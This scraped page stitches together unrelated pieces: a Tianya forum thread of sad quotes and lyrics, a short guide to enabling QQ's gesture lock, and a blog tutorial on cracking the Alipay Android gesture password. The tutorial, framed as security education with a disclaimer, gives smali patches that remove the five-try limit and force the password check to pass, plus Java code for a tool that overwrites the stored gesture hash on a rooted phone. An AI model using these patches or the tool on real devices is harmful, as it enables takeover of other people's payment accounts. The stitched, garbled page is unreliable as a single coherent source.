手机5次手势密码后的对打句子苹果怎么设置手势密码?

如题了~~最近看到的,很喜欢~  别人都说我们会分开,可是,我不离开你.因为我害怕,怕我会后悔,怕我后悔了也回不了头,怕我回头了你已不在原地;怕你将来碰到的女人对你不好,你会怀念我;怕你将来碰到的女人比我更好,你不会怀念我  
  天涯来吧,匿名可直接回复;登陆后发主贴回复均可直接上传图,一次五张,不限大小     
楼主发言:1次 发图:0张
  广告,删除并封永久发言权——喜碧
  还有小王子里面狐狸对小王子说的话也很感人
  看到题目我原还以为楼主是个婆婆妈妈的女人,没想到。。。。
  情深不寿 OR 深情不寿...我看到有两个版本.    更喜欢前者..        
  作者:色中极品贝利 回复日期: 00:05:33 
    看到题目我原还以为楼主是个婆婆妈妈的女人,没想到。。。。    什么意思啊?请教
      作者:红萼无盐 回复日期: 0:05:57 
    情深不寿 OR 深情不寿...我看到有两个版本.        更喜欢前者..      慧极必伤,情深不寿       情深不寿,强极必辱,谦签君子,温润如玉       这个?
  “我活着。”-&忧伤吧?    还有一句:“我很忧伤。”忧伤吧?    挖哈哈哈哈。
  虽然看到题目的第一反应是 CJ的45度望天    不过还是应景说一个吧      我曾经有过这样一个夜晚 我又见到了小艾 我们换了一辆又一辆公共汽车 那是我们天天都要坐的公共汽车 穿行在整个城市里 只是直到今天 我也没有弄清楚 那是真的发生过的事儿呢 或者 仅仅是我的一个梦    
  晕,将爱情进行到底啊~  说到gjm,我在年少无知的时候看他的一梦三四年还喜欢过类,天啊,仰望天空
  作者:rebeccawpl 回复日期: 00:10:57 
            作者:红萼无盐 回复日期: 0:05:57        情深不寿 OR 深情不寿...我看到有两个版本.            更喜欢前者..            慧极必伤,情深不寿             情深不寿,强极必辱,谦签君子,温润如玉             这个?    ------------------------------------------  对对对, &慧极必伤,情深不寿 &喜欢这个..    
  忧伤是不需要任何导火索的,听歌或看到某个句子某个镜头感到忧伤那都装的,真正的忧伤是早晨你正45度对着镜子刷牙,刷着刷着眼泪“哗”的流下来了,那才是真忧伤。而且也只能勉强是一半忧伤。要再接再厉,什么时候练到90度角刷牙,也能刷着刷着眼泪“哗”的流下来了,那就是全忧伤了。
  朝如青丝暮如雪    呵呵,唉,还有什么比时间无情的流逝更令人忧伤呢??
  爱是恒久忍耐
  第一次看到的时候我还真不知道那句话是将爱情进行到底的  很震撼,还以为是某个人的真实经历,还为他嗟叹了一下  后来去网上一查,发现是台词,深感受伤……    喜欢gjm的男的不多吧 呵呵
  以父之名的歌词..    
  至今让我眼泪流下来的句子    君生吾未生, 吾生君已老, 恨生不相时, 日日与君好。
  醉笑陪君三万场 不诉离伤    当年我还是一个文艺女青年的时候很乐意收集一些这样的句子  后来 八卦人民的滚滚洪流把我改造成了一个革命小将
  梦里不知身是客,一晌贪欢.无限江山,别时容易见时难.
  补充    宇宙都可以不要,能去你身边就好了    糟了,哭不出来 ---年轻的妻子得知自己的丈夫死与车祸,之后几天说的把    左岸流年         
  难道那句是出自《灰》?!!
      作者:杜尚别 回复日期: 00:32:48 
    第一次看到的时候我还真不知道那句话是将爱情进行到底的    很震撼,还以为是某个人的真实经历,还为他嗟叹了一下    后来去网上一查,发现是台词,深感受伤……        喜欢gjm的男的不多吧 呵呵      我是女的,晕啊,突然理解楼上某些人的话了~~~  我很喜欢这类的句子
  相忘于江湖
  作者:杜尚别 回复日期: 00:39:03 
    难道那句是出自《灰》?!!      握手啊握手,莫非是同好
  看来是的 左岸流年没有看 灰是三年前看的了  呵呵
  作者:ioyhyh1314 回复日期: 00:40:34 
    相忘于江湖      相濡以沫,不如相忘于江湖
  今早的容颜老于昨晚,伤感~~~        
  天若有情天亦老
  每一天都有梦在心里头死掉
  楼主MM也是混仙流的吧?  仙流文有的的确写得很好,我也喜欢&&灰&&
  作者:rebeccawpl 回复日期: 00:41:58 
    作者:杜尚别 回复日期: 00:39:03        难道那句是出自《灰》?!!            握手啊握手,莫非是同好       作者:杜尚别 回复日期: 00:43:45 
    看来是的 左岸流年没有看 灰是三年前看的了    呵呵     感叹一下时光  
  再想念一下艾大~    唉,夜深了,人就越来越啰嗦了
  作者:嘉佳加 回复日期: 00:53:21 
    楼主MM也是混仙流的吧?    仙流文有的的确写得很好,我也喜欢&&灰&&      恩,混过一阵  以前很喜欢tangstory,艾菲尔,真的有好多好文章,伤感的居多
  兄弟,你的四级又挂了
  让暴风雨来的更猛烈些吧!!!!!!!!!!!!!!!!!!!!      忧伤的飘~
  “就如旧爱,有天总忘记,当初竟以为爱到死”      其实林夕的许多句子都让人感到忧伤。
  爱是卑微的事
  亲爱的,你怎么不在我身边
  那都是很好很好的,可是我偏不喜欢~~
  作者:杜尚别 回复日期: 00:35:04 
    醉笑陪君三万场 不诉离伤        当年我还是一个文艺女青年的时候很乐意收集一些这样的句子    后来 八卦人民的滚滚洪流把我改造成了一个革命小将  ==========================================================  哈哈~  另~醉笑陪君三万场 不诉离伤,我嫂子告诉我的时候~狠狠的伤感了一回
  没有一只鸟可以倒退飞行……  没有一个人可以重新长大……
  最让我感到忧伤的句子    &就算共D亡了,我们也不会有好日子过.&
  当我一个人面对着夜晚寂静的哀伤,  我该如何将它隐藏??????
  我恨你,我爱你
  作者:新瓶旧酒 回复日期: 1:11:59 
    那都是很好很好的,可是我偏不喜欢~~      眼熟的紧阿  出处??
  说着付出生命的誓言,回头看看繁华的世间,  爱你的每个瞬间,象飞驰而过的地铁,  说过不会掉下的泪水,现在沸腾着我的双眼,  爱你的虎口,我脱离了危险.      
------老狼&虎口脱险&
  君生吾未生, 吾生君已老, 恨生不相时, 日日与君好。  ========  
  往事若无其事,关系也没关系  ----王菲&夜会&  很喜欢这歌词,曾经相爱的两人于某天偶尔相遇,明明曾那么亲密的两人,如今却毫无关系,曾经历的一切也只好假装若无其事.而且感觉这句的韵律极美~~~~
  Are you going to Scarborough Fair  Parsley, sage, rosemary and thyme  Remember me to one who lives there  She was once a true love of mine    后两句  比起莎拉布莱曼的,我更喜欢男声合唱的那版        作者:邪派谦谦 回复日期: 01:21:06 
    作者:杜尚别 回复日期: 00:35:04        醉笑陪君三万场 不诉离伤            当年我还是一个文艺女青年的时候很乐意收集一些这样的句子      后来 八卦人民的滚滚洪流把我改造成了一个革命小将    ==========================================================    哈哈~    另~醉笑陪君三万场 不诉离伤,我嫂子告诉我的时候~狠狠的伤感了一回    ——————————————  不知道这句话的出处?    
      作者:rebeccawpl 回复日期: 01:30:26 
    作者:新瓶旧酒 回复日期: 1:11:59        那都是很好很好的,可是我偏不喜欢~~            眼熟的紧阿    出处??    ————————————————————————  金庸,白马啸西风,李文秀
  好奇GOOGLE了一下“醉笑陪君三万场 不诉离伤”的出处,找到了这个——    南乡子(苏轼)     
和杨元素,时移守密州。     
东武望余杭,云海天涯两渺茫。何日功成名遂了,还乡,醉笑陪公三万场。   
不用诉离觞,痛饮从来别有肠。今夜送归灯火冷,河塘,堕泪羊公却姓杨。
  作者:rebeccawpl 回复日期: 00:41:58 
    作者:杜尚别 回复日期: 00:39:03        难道那句是出自《灰》?!!            握手啊握手,莫非是同好       作者:杜尚别 回复日期: 00:43:45 
    看来是的 左岸流年没有看 灰是三年前看的了    呵呵      仙流同好们!在这里遇见委实不容易。  灰是我最爱的文,那简直是轻易不敢看,会流泪满面的。小流最后看着那朵“烟花”......最残酷的事,莫过于此。      好,回LZ,忧伤是吧。  那简直太太太太太多了。最近近一年我整个人那TMD就是忧伤版啊!  现在的心情,忧伤的,那就是句俗的:相爱却不能相守。    长相思,催心肝。长相思,断人肠。
  天堂里有没有车来车往,寄个硬币给你,别忘记给我电话。    十年生死两茫茫,不思量,自难忘。千里孤坟,无处话凄凉。纵使相逢应不识:尘满面,鬓如霜。
  最是人间留不住,朱颜辞镜花辞树
  我们回不去了。    我不喜欢你了。
  我们分手吧
  莫过于45度仰望天空那句了,每次回味都会泪流满面,酵母万岁~~~
  交个女朋友,还是养条狗?
  我至今才发现我自己    在玩一个无聊的游戏
  妈!爹卖馄饨,我大了也卖馄饨,卖许多许多钱,——我都给你
  我们回不去了
  &have a nice life&  这句关于一生的祝福真是让我忧伤
  THANK U 4 LOVING ME
  啊,朋友再见
  我喜欢的那个人在我心里头死掉了
  如果我手中没有剑,我就不能保护你  如果我手中有剑,我就不能抱紧你
  一梦三四年
  我爱你
与你无关    当时失恋~~~~还是会心痛!爱你不过是我的事情,你无需负责,更没必要伤神。只是我一个人的独角戏而已。~~~
  ‘对不起,您的电话已欠费停机。’  ——某次与MM约会于公园里,到达后所听这句话最让我忧伤,特别是附加居然还没卖充值卡的。  甚至比后来手臂上的淤伤更令我抓狂。
    当年:  体育老师:下个星期我们测八百!
  我已不是你的谁,想到便心碎!
  下星期期末,考完之后就开始补课
  进去啦?
  作者:米阿弥 回复日期: 12:02:30 
        当年:    体育老师:下个星期我们测八百!  ____________________________________________________  握手
  我喜欢小王子说的话  
  作者:杜尚别 回复日期: 00:35:04 
    醉笑陪君三万场 不诉离伤        当年我还是一个文艺女青年的时候很乐意收集一些这样的句子    后来 八卦人民的滚滚洪流把我改造成了一个革命小将  ============================================================  在这个哀伤的帖子里笑是不是不礼貌,可是看了这个回复我忍不住还是乐了,真是抱歉~~~~~
  周蕙的一句歌词    忽然不想让你知道,在我心里你多重要
  周蕙的一句歌词    忽然不想让你知道,在我心里你多重要  ---------------------------------------  这句话从我第一次听这首歌开始,一直留在我心里
  晕~~    我以为第一次没发上,丢人,闪~~~
  汴水流,泗水流,流到瓜洲古渡头,吴山点点愁。  思悠悠,恨悠悠,恨到归时方始休,月明人倚楼。
  我宁愿你抱着别的女人想我 也不愿你抱着我想别的女人    =======================  在天涯看的一个人的签名
  免费黄色电影/绝对免费A片三级片      看到此句,绝对忧伤……
      作者:旧日好故事 回复日期: 12:48:53 
    作者:米阿弥 回复日期: 12:02:30              当年:      体育老师:下个星期我们测八百!    ____________________________________________________   同握!!!  
听到要跑八百都发麻呀~~~
  每个人,都有一段悲伤,想遗忘,却欲盖弥彰。。      在天涯看到的
  林花谢了春红,太匆匆,无奈朝来寒雨晚来风.  无限的感伤
  忘了痛或许可以忘了你却太不容易!  把我的悲伤留给自己,你的美丽让你带走,从此以后我再没有快乐起来的理由,我想我可以忍住悲伤,假装生命中没有你--- 
  你是千堆雪.我是尘埃.怕日出一到.彼此瓦解.
  君生我未生,我生君已老;恨不生同时,日日与君好。
  作者:rebeccawpl 回复日期: 00:37:47 
    补充        宇宙都可以不要,能去你身边就好了        糟了,哭不出来 ---年轻的妻子得知自己的丈夫死与车祸,之后几天说的把        左岸流年   ------------  神啊...这里竟然找到同好- -++  瀑布汗  偶当年看左岸看得欲生欲死  20年的思念 换作唇边轻轻一吻....纠缠中    最近在杂志上看到的 写某五人的:他们不是天使
不能给你永恒 却能给你一个真实的人间
  GAME OVER
  相聚离开都有时候,没有什么能永垂不朽
  我把心给了你,身体给了他    
  君生我未生,我生君已老;恨不生同时,日日与君好。  
   君生我未生,我生君已老;恨不生同时,日日与君好。  --------  GJM
  最灿烂往往是最孤独。最随和往往是最遥远。    有些人,永远应该存在于那般快意的少年吧?    在一场华丽的剧幕中,要么饰演光芒万丈万千宠爱于一身的主角,要么,便是那最无干紧要的路人甲乙丙丁吧。因为,往往是那些光芒四射神采飞扬的配角,会被施以最惨痛的离刑。而藤真,他,便是那惨烈而悲痛的一群中,最初的那一个。    然而,这个世界,有时候真的很残忍。一边筋疲力尽,一边奋力投球。一边怀疑,一边誓不放弃。    只剩下了一个我最不愿去想的答案。洋平,那个似乎无所畏惧,自立到坦然与悠然的少年,也许,应该,大概,可能,是个孤儿。    有多少朋友,可以真正一生相守呢?能相携一程,铭记一生,已是年少时最飞扬的记忆。纵然老去,想着那些风云岁月中沉沉旧事,那许多鲜活生动的容颜,那曾经珍若性命的友人,已足慰平生。    ————————————  
  will u be my shoulder when i’m grey and older?    *********前途未谱的茫然
  世界上最疼我的人去了..
  世事一场大梦,人生几度凄凉
  作者:byun_nam 回复日期: 07:27:54 
    妈!爹卖馄饨,我大了也卖馄饨,卖许多许多钱,——我都给你      这话都要让我哭了.
  那些都是很好很好的,可是我偏不喜欢..........
使用“←”“→”快捷翻页
请遵守言论规则,不得违反国家法律法规手机QQ 4.2如何开启手势密码锁定?-中国学网-中国IT综合门户网站
&  1)打开&手机QQ&软件,并点击&设置&栏。
(点小图查看大图)&&(点小图查看大图)
  2)在&设置&栏那里找到&安全与隐私&功能,并点击打开,如下图所示:
(点小图查看大图)&&(点小图查看大图)
  3)找到&手势密码锁定&,并使其打开状态,打开后会出现&设置手势密码&,输入两次相同的手势密码,如下图所示:
(点小图查看大图)&&(点小图查看大图)
  4)输入密码后,你的手势密码锁定功能就已经完全开启了。如下图所示:
(点小图查看大图)&&(点小图查看大图)
本文相关搜索14981人阅读
本文章由 莫灰灰 编写,转载请注明出处。 &
作者:莫灰灰 & &邮箱:&
&&&&&&&& 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了。
&&&&&&&& 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说,他们一买来手机就开始root,之后卸载预装软件,下载游戏外挂等等。今天,我们就以破解支付宝钱包的手势密码为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。
在此申明:以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。
MIUI-JHACNBA13.0(已越狱)
支付宝钱包8.1.0.043001版
SQLite Expert
安装完支付宝钱包之后,运行软件,我这里选择淘宝帐号登录,界面如图1所示。
登录之后,设置手势密码,如图2所示。
完成上述两步之后,退出支付宝进程。用腾讯应用宝定位到的安装目录\data\data\com.eg.android.AlipayGphone,查看目录结构如图3所示。
实战开始 - 破解手势密码错误次数限制
看到图3所示的目录结构,猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此,我们使用应用宝的导出功能将databases目录导出到本地。用SQLite Expert工具打开所有的dB文件,分析发现alipayclient.db数据库中的userinfo表中保存了用户名、输入错误次数、手势密码等详细信息,如图4所示。其中的gestureErrorNum字段应该就是保存了手势密码输入错误的次数了,很明显这里已经被加密了。
使用APK IDE对支付宝的安装包进行解包分析。解包完成之后,搜索setgestureErrorNum字样,结果如图5所示。
经过大致分析,UserInfoDao.smali文件中的addUserInfo函数比较可疑,截取其中一段设置手势密码错误次数的代码如下:
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&()Ljava/lang/S
move-result-object v1 &&
#调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getUserId()Ljava/lang/S
move-result-object v2&&&&&
#调用getUserId函数获得user id,并保存到v2寄存器
invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainU-&get8BytesStr(Ljava/lang/S)Ljava/lang/S
move-result-object v2&&&&&
#获取user id的前8个字节,保存到v2寄存器
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/D-&encrypt(Ljava/lang/SLjava/lang/S)Ljava/lang/S
move-result-object v1&&&&&
#以user id的前8字节作为key,调用des加密错误次数字符串,并保存到v1寄存器
invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&setGestureErrorNum(Ljava/lang/S)V
#调用setGestureErrorNum函数,将加密的字符串保存
通过对上述代码的分析得知,第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,添加log代码验证,如图6所示。
保存修改的smali文件,重新编译打包,安装完成之后,输入错误的手势密码,log输出数字依次递增。最后一次输入正确的手势密码,错误次数重新归0。LogCat捕捉到的日志如图7所示。
程序分析到这里,我不禁猜测,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢?于是乎,我又开始了下面的验证,代码如图8所示。
编译打包,重新安装支付宝,输入错误的手势密码,发现5次错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码如下:
.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseALcom/alipay/mobile/framework/service/ext/security/bean/UserII)V
new-instance v0, Ljava/lang/StringB #初始化StringBuilder实例
invoke-direct {v0}, Ljava/lang/StringB-&&init&()V
invoke-virtual {v0, p3}, Ljava/lang/;-&append(I)Ljava/lang/StringB
#p3是一个I类型的整型变量,调用StringBuilder. append赋值
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringB-&toString()Ljava/lang/S
move-result-object v0&&&&& #调用toString函数转换成字符串类型,赋给v0
invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&setGestureErrorNum(Ljava/lang/S)V#调用setGestureErrorNum设置未加密的错误次数字符串
invoke-static {},Lcom/alipay/mobile/framework/AlipayA-&getInstance()Lcom/alipay/mobile/framework/AlipayA
move-result-object v0
invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbH-&getInstance(Landroid/content/C)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbH
move-result-object v0
invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbH-&addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserI)Z
#调用SecurityDbHelper.addUserInfo函数加密、更新数据库
return-void
.end method
分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,修改p3的值为0,测试代码如图9所示。
继续打包、编译、测试。随意输入错误的手势密码,支付宝始终显示“密码错误,还可以输入5次”字样,如图10。
至此,手势密码中的错误次数限制已经被我们解除了。理论上来说,我们可以使用穷举法来获取支付宝的手势密码。但是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得密码这种方式,显然是在浪费生命和金钱呀。
越战越勇 – 查找关键跳转
对于大黑阔们来说,只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知,手势密码的存储字段为gesturePwd,搜索getGesturePwd函数得到如图11的结果。
搜索到的结果比较多,根据前面对手势密码错误次数限制的分析,这里可以排除几个文件,例如UserInfoDao.文件,它主要用来保存一些用户态的信息,可暂时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是很考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,但是等到你找到关键的调用点,分析出核心的算法时,那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,下面我们继续。
经过我的仔细分析,e.smali文件最有可能是比较输入密码的地方,双击上面文件的LINE 47行,跳转到的是a函数。由于函数比较长,只贴关键部分,代码如下:
invoke-virtual {p1},Ljava/lang/S-&length()I #取输入字符串的长度
move-result v0&
sget v1,Lcom/alipay/mobile/security/gesture/component/LockV-&MINSELECTED:I
&&&&&&& if-ltv0, v1, :cond_1& #比较字符串长度
:try_start_0
iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;-&a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserI#获取UserInfo对象
invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getGesturePwd()Ljava/lang/S#调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码
move-result-object v0
invoke-virtual {v0}, Ljava/lang/S-&length()I #取加密过的正确密码的长度
move-result v0
const/16 v1, 0x20
if-le v0, v1, :cond_0 #长度是否小于32
new-instance v0, Ljava/lang/StringB
invoke-direct {v0}, Ljava/lang/StringB-&&init&()V #初始化StringBuilder对象
invoke-virtual {v0, p1}, Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
#将输入的明文手势密码赋值给StringBuilder对象
move-result-object v0&&&&&
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;-&a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserI
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getUserId()Ljava/lang/S#调用UserInfo的getUserId函数获取user id
move-result-object v1
const-string/jumbo v2, &userInfo&
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/D-&encrypt(Ljava/lang/SLjava/lang/S)Ljava/lang/S#调用des加密函数,以“userInfo”为key,加密user id字符串
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
#将加密好的user id字符串附加到StringBuilder对象上
move-result-object v0
invoke-virtual {v0},Ljava/lang/StringB-&toString()Ljava/lang/S
move-result-object v0
#StringBuilder对象(输入明文手势的密码 + 加密后的user id)转字符串,并赋值给v0寄存器
invoke-static {v0}, L;-&sha1(Ljava/lang/S)Ljava/lang/S
#调用静态的sha1函数,计算出一个hash值
move-result-object v0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;-&a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserI
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserI-&getGesturePwd()Ljava/lang/S#调用UserInfo的getGesturePwd函数获得加密过的正确密码
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/S-&equals(Ljava/lang/O)Z
#比较输入的密码和正确的密码
move-result v0
if-eqz v0, :cond_1
很显然,上面这个if-eqz是关键,如果比较函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数,在这个基础上加上1,然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等,那么调用settingGestureError函数把错误次数重新置为0。
下面为了验证我们的猜测,进行如下两步操作:
1、在a函数中加入类似如图12的打印日志代码,这里未全部截图下来,其他地方留给读者自行添加。
2、在if-eqz v0前patch v0,代码如图13所示。
&&&&&&&& 完成上述两步操作之后,保存修改过的smali文件,编译打包,重新安装支付宝钱包客户端,随意输入手势密码。这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们随意输入密码之后,熟悉的支付宝主界面出现在我们眼前,同时LogCat输出日志如图14所示。
日志的组成大致如下:
第一行:用户输入的,还未加密的手势代码;
第二行:保存在数据库中正确的加密后的手势密码;
第三行:未加密的user id;
第四行:采用des加密后的user id;
第五行:拼接用户输入和加密后的user id;
第六行:采用sha1算法计算出来的加密之后的用户输入的手势密码。
&&&&&&&& 通过仔细的分析日志,我们从中可以得出两个结论:
1、真实的手势密码和我们输入的密码是不一样的,但是我们还是进入了支付宝的主界面,证明我们上面第2步中修改的地方非常关键,从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。
2、支付宝是将用户的手势操作转化成对应的数字,然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候,是用相同的加密步骤对用户输入进行加密,再与数据库中保存的密码做比较。数字代码对应如图15所示。
&&&&&&&& 程序分析到这里,我们已经清楚的明白了支付宝手势密码的加密过程和算法,并且通过修改关键跳转的方法,使得我们随意输入手势密码都可以进入支付宝主界面。
仔细思考 – 还原手势密码?
&&&&&&&& 回过头来仔细想想,手势密码的加密流程是这样的,用户输入+user id组成一个字符串,将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中,user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了,正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆,但是在我们的这个实例中,最长输入是9位,最短为4位,我们完全可以通过已知的信息,采用有限的穷举,就能得出正确的手势代码了。相信对于现在的4核乃至8核cpu手机来说,这点计算应该是很轻松的。
&&&&&& 但是,我们难道只能通过穷举来实现暴力破解吗?答案是否定的。其实我们完全可以自己构造一个输入,例如0123,采用和支付宝完全相同的加密流程得到手势密码。然后,通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码,这样,就能实现随意修改手势密码的目的了。想法有了,下面我们编写代码来验证该方法是否可行。
&&&&&&&& 查看支付宝使用的sha1算法可知,该算法与支付宝的整体功能业务耦合度基本为0,于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的工程中,这样,就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示:
protected void onCreate(Bundle savedInstanceState) {
&&&&&&&&&&&&&&&&&& super.onCreate(savedInstanceState);
&&&&&&&&&&&&&&&&&& setContentView(R.layout.activity_main);
&&&&&&&&&&&&&&&&&& setTitle(&支付宝手势密码修改器&);
&&&&&&&& &&&&&&&&
&&&&&&&&&&&&&&&&&& szUerIdString = &&;
&&&&&&&&&&&&&&&&&& tvStatus = (TextView)findViewById(R.id.textStatus);
&&&&&&&&&&&&&&&&&& etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);
&&&&&&&&&&&&&&&&&& etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);
&&&&&&&&&&&&&&&&&& etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);
&&&&&&&&&&&&&&&&&& btnOK = (Button)findViewById(R.id.btnSetting);
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& if(!RootUtils.hasRootPermission()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&本程序只能在ROOT过的手机上运行!&);
&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& &if(!RootUtils.hasInstalledApp(MainActivity.this, &com.eg.android.AlipayGphone&)){
&&&&&&&&&&&&&&&&&&&&&&&&&&& &tvStatus.setText(&请确认您已经安装了支付宝钱包!&);
&&&&&&&& &&&&&&&&
&&&&&&&& &&&&}
&&&&&&&&&&&&&&&&&& &
&&&&&&&&&&&&&&&&&& String szUserId =getUserId();
&&&&&&&&&&&&&&&&&& if (!szUserId.isEmpty()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&& szUerIdString =szUserId;
&&&&&&&&&&&&&&&&&&&&&&&&&&& etEncryptUserid.setText(szUserId);
&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&读取user id成功,请输入自定义手势密码!&);
&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&& StringszDecryptUserid = decryptUserid(szUserId, &userInfo&);
&&&&&&&&&&&&&&&&&&&&&&&&&&& if(!szDecryptUserid.isEmpty()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& etDecryptUserid.setText(szDecryptUserid);
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&& else {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&解密user id失败!&);
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&& btnOK.setOnClickListener(newOnClickListener() {
&&&&&&&& &&&&&&&&&&& @Override
&&&&&&&& &&&&&&&&&&& public void onClick(View view) {
&&&&&&&& &&&&&&&&&&& &&&&&&&& StringszPwd = etMyPwd.getText().toString();
&&&&&&&& &&&&&&&&&&& &&&&&&&& if(szPwd.isEmpty()) {
&&&&&&&& &&&&&&&&&&& &&&&&&&&&&&&&&&&&& &Toast.makeText(MainActivity.this, &设置的自定义密码不能为空,请重新输入!&, Toast.LENGTH_LONG).show();
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&& &&&&&&&&&&& &&&&&&&& else{
&&&&&&&& &&&&&&&&&&& &&&&&&&&&&&&&&&&&& StringBuildersBuilder = new StringBuilder();
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& sBuilder.append(szPwd);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& sBuilder.append(szUerIdString);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Stringtmp = sBuilder.toString();
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Log.v(TAG,sha1);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(!sha1.isEmpty()) {
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(updateDatabaseGesturePwd(szUerIdString, sha1)) {
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&设置自定义密码成功!&);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& else{
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&设置自定义密码失败!&);
&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
